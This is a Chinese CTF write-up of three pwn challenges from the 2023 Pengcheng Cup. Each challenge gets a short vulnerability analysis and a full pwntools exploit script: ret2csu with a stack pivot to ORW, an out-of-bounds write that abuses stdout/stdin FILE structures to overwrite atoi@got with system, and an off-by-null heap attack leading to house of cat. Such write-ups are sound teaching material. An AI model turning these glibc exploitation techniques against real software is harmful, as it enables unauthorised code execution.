2023 鹏程杯

前言

笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。

silent

考点: 栈溢出 + ret2csu + 栈迁移

保护: 开了 Full RELRO 和 NX, 禁掉了 execve/execveat 系统调用

漏洞分析

一个裸的栈溢出, 但是没有输出函数可以泄漏 libc. 并且由于 Full RELRO 也无法 ret2dl

这里就得考虑去寻找一个 libc 地址然后利用特殊的 gadget 去构造一个 write 函数.最后配合 csu 进行利用.

这里我并没有找到可用的 gadget, 但是在网上看别人找到了一条:

0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

而在 libc_csu_init 中是可以很方便的控制 rbp 和 ebx 的:

而 bss 段上的 stdin/stdout 里面存放的就是 _IO_2_1_stdin_/_IO_2_1_stdout_, 其就是一个 libc 地址. 这里选择修改 stdout, 当然修改 stdin 也行, 注意 stdin 不会影响 read 函数, 因为 read 是直接走的系统调用.

漏洞利用

先利用 magic_gadget 配合 csu 去修改 stdout 为 write 函数. 然后再利用 csu 调用 write 函数泄漏 libc, 后面就是栈迁移 orw 了.

exp 如下: libc版本: 2.27-3ubuntu1.5_amd64

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

bss = 0x0000000000601040
stdout = 0x0000000000601020
pop_rdi = 0x0000000000400963 # pop rdi ; ret
pop_rbp = 0x0000000000400788 # pop rbp ; ret
csu_f = 0x000000000040095A
csu_e = 0x0000000000400940
read_got = 0x0000000000600FE0
magic_gadget = 0x00000000004007e8 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
#write_offset = libc.sym.write - libc.sym._IO_2_1_stdout_
write_offset = 0xFFFFFFFFFFD23990
stdout_offset = 0x2dc670
leave_ret = 0x00000000004008FC
libc_pop_rdi = 0x000000000002164f # pop rdi ; ret
libc_pop_rsi = 0x0000000000023a6a # pop rsi ; ret
libc_pop_rdx = 0x0000000000001b96 # pop rdx ; ret
libc_pop_rax = 0x000000000001b500 # pop rax ; ret
libc_syscall = 0x000000000013FF57 # syscall ; ret

#gdb.attach(io, "b *0x00000000004008F7")

def csu(call_addr, rdi, rsi, rdx, ret_addr, rbx, rbp):
        payload  = p64(0) + p64(1)
        payload += p64(call_addr) + p64(rdi) + p64(rsi) + p64(rdx)
        payload += p64(csu_e) + p64(0)
        payload += p64(rbx) + p64(rbp) + p64(0)*4 + p64(ret_addr)
        return payload

pay  = b'A'*0x48
pay += p64(csu_f) + csu(read_got, 0, bss+0x400, 0x300, magic_gadget, write_offset, stdout+0x3d)
pay += p64(pop_rbp) + p64(bss+0x400-0x8) + p64(leave_ret)
sl(pay)
#pause()

pay  = p64(csu_f) + csu(stdout, 1, read_got, 8, csu_f, 0, 0)
pay += csu(read_got, 0, bss+0x400+0x300, 0x400, leave_ret, 0, bss+0x400+0x300-0x8)
print("pay_len:", hex(len(pay)))
sleep(0.01)
sl(pay)

#pause()
read_addr = addr8(8)
libc.address = read_addr - libc.sym.read
libc_pop_rdi += libc.address
libc_pop_rsi += libc.address
libc_pop_rdx += libc.address
libc_pop_rax += libc.address
libc_syscall += libc.address
info("read_addr", read_addr)
info("libc_base", libc.address)

#pause()
pay  = p64(pop_rdi) + p64(bss+0x400+0x400) + p64(libc_pop_rsi) + p64(0) + p64(libc_pop_rax) + p64(2) + p64(libc_syscall)
pay += p64(pop_rdi) + p64(3) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.write)
#pay += p64(csu_f) + one_csu(stdout, 1, bss+0x400+0x400, 0x20, pop_rdi+1)
print("pay_len:", hex(len(pay)))
pay  = pay.ljust(0x100, b'\x00') + b'./flag.txt\x00'
sleep(0.01)
sl(pay)

#pause()
sh()

atuo_coffee_sale_machine

考点: 数组越界 + stdout泄漏libc + stdin任意写 (但看其他人的wp好像是UAF?难道这个是非预期)

保护: 开了 Canary 和 NX

漏洞分析

漏洞在 change_default() 函数中:

可以看到这里用的是 || 而不是 &&, 所以很明显的数组越界了.

漏洞利用

先利用数据越界修改 _IO_2_1_stdout_ 进行 libc 泄漏.

然后再修改 _IO_2_1_stdin_ 进行任意地址写修改 atoi@got 为 system

最后输入 sh 即可 getshell

这里之所以能够利用 _IO_2_1_stdin_ 进行任意写是因为在 sell 函数中存在 getchar():

所以我感觉不是非预期, 不然其他地方全是 read, 为啥这里偏偏来个 getchar 呢? getchar 每次会从输入缓冲区读一个字节数据即将_IO_read_ptr加一,当_IO_read_ptr等于_IO_read_end的时候便会调用read读数据到_IO_buf_base地址中.

对于 _IO_2_1_stdin_ 进行任意写需要满足以下条件:

  • _IO_buf_base = target_start_addr

  • _IO_buf_end = target_end_addr

  • _IO_read_ptr = _IO_read_end

  • _flags & ~4

  • _fileno = 0

exp 如下: libc版本: GLIBC 2.31-0ubuntu9.9

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>>>'

def go_admin():
        sla(menu, b'4421')
        sla(b'password', b'just pwn it')

def change(idx, num, data):
        sla(menu, b'2')
        sla(menu, byte(idx))
        sla(menu, byte(num))

        sda(b'content', data)

go_admin()
pay = p64(0xfabd1800) + p64(0)*3 + b'\x00'
change(1, -31, pay)
rut(b'\n')
rc(8)
libc.address = addr8(8) - 0x1ec980
info("libc_base", libc.address)

pay = p64(0xfbad208b&(~4)) + p64(0)*6 + p64(0x0000000000406068) + p64(0x0000000000406068+8)
change(1, -29, pay)

sla(menu, b'3')
sla(menu, b'1')
sla(b'buy', b'1')
sla(b'Y/N', b'N'+p64(libc.sym.system))
sla(menu, b'sh')
sla(menu, b'sh')

#debug()
sh()

babyheap

考点: off by null

保护全开

比较简单, 限制了堆块的大小在[0x400,0x500]之间, 然后有增删查改的功能.

白给的 off by null, 然后题目给 libc 是 2.38 的, 但是我懒得配环境, 所以用到 2.35 的, 但是区别不大.

漏洞利用

off by null 打前向 unlink 构造堆重叠, 然后UAF打largebin_attack, 最后直接 house of cat

注: 这里 one_gadget 因为 rbp 的问题打不通, 具体可自行调试. 所以最后直接打的 orw

exp 如下: GLIBC 2.35-0ubuntu3.

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>> '
def add(size, data):
        sla(menu, b'1')
        sla(b'size', byte(size))
        sda(b'name', data)

def edit(idx, size, data):
        sla(menu, b'2')
        sla(b'index', byte(idx))
        sla(b'size', byte(size))
        sda(b'name', data)

def show(idx):
        sla(menu, b'3')
        sla(b'index', byte(idx))

def dele(idx):
        sla(menu, b'4')
        sla(b'index', byte(idx))

#gdb.attach(io, 'b *$rebase(0x00000000000019AE)')
rut(b"easier\n")
heap_base = int(rut(b"\n"), 16) - 0x2a0
info("heap_base", heap_base)

pay  = p64(0) + p64(0xc71+0x410) + p64(heap_base+0x2b0+0x10)*2 + b'\n'
add(0x428, pay)    # 0
add(0x428, b'A\n') # 1
add(0x408, b'A\n') # 2
add(0x418, b'B\n') # 3
add(0x4F8, b'C\n') # 4
add(0x428, b'D\n') # 5

dele(3)
add(0x418, b'A'*0x410+p64(0xc70+0x410))
dele(4)
add(0x418, b'A\n')

show(1)
rut(b'\n')
libc_base = addr8(6) - 0x219ce0
_IO_list_all = libc_base + 0x21a680
info("libc_base", libc_base)
info("_IO_list_all", _IO_list_all)

add(0x428, b'X\n') # 6
add(0x408, b'\nX') # 7
add(0x418, b'E\n') # 8
add(0x4F8, b'X\n') # 9
dele(6)
add(0x438, b'X\n') # 10
dele(8)

pay = p64(libc_base+0x21a0d0)*2 + p64(heap_base+0x6e0) + p64(_IO_list_all - 0x20)
edit(1, 0x30, pay+b'\n')
add(0x4F8, b'X\n')

"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
0xebcf5 execve("/bin/sh", r10, rdx)
0xebcf8 execve("/bin/sh", rsi, rdx)
"""

ones = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
ones = [libc_base+i for i in ones]
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011f497 # pop rdx ; pop r12 ; ret

# house of cat
_IO_wfile_jumps = libc_base + 0x2160c0
pay  = p64(0)*2 + p64(1) + p64(2)
pay  = pay.ljust(0x90, b'\x00') + p64(heap_base+0xf20+0x100)
pay  = pay.ljust(0xb0, b'\x00') + p64(1)
pay  = pay.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps+0x30)
pay  = pay.ljust(0x108, b'\x00') + p64(1) + p64(heap_base+0xf20+0x280)
pay  = pay.ljust(0x1d0, b'\x00') + p64(heap_base+0xf20+0x200)
pay  = pay.ljust(0x208, b'\x00') + p64(libc_base+libc.sym.setcontext+61)
pay  = pay.ljust(0x240, b'\x00')
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.write)
pay  = pay.ljust(0x270+0x68, b'\x00') + p64(heap_base+0xf20+0x400) + p64(0) + p64(0)*2
pay  = pay.ljust(0x270+0xa0, b'\x00') + p64(heap_base+0xf20+0x250) + p64(libc_base+libc.sym.open)
pay  = pay.ljust(0x3F0, b'\x00') + p64(0x7478742e67616c66);
print("pay len:", hex(len(pay)))
edit(3, len(pay)+2, pay+b'\n')

sla(menu, b'5')
#pause()
#debug()
sh()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值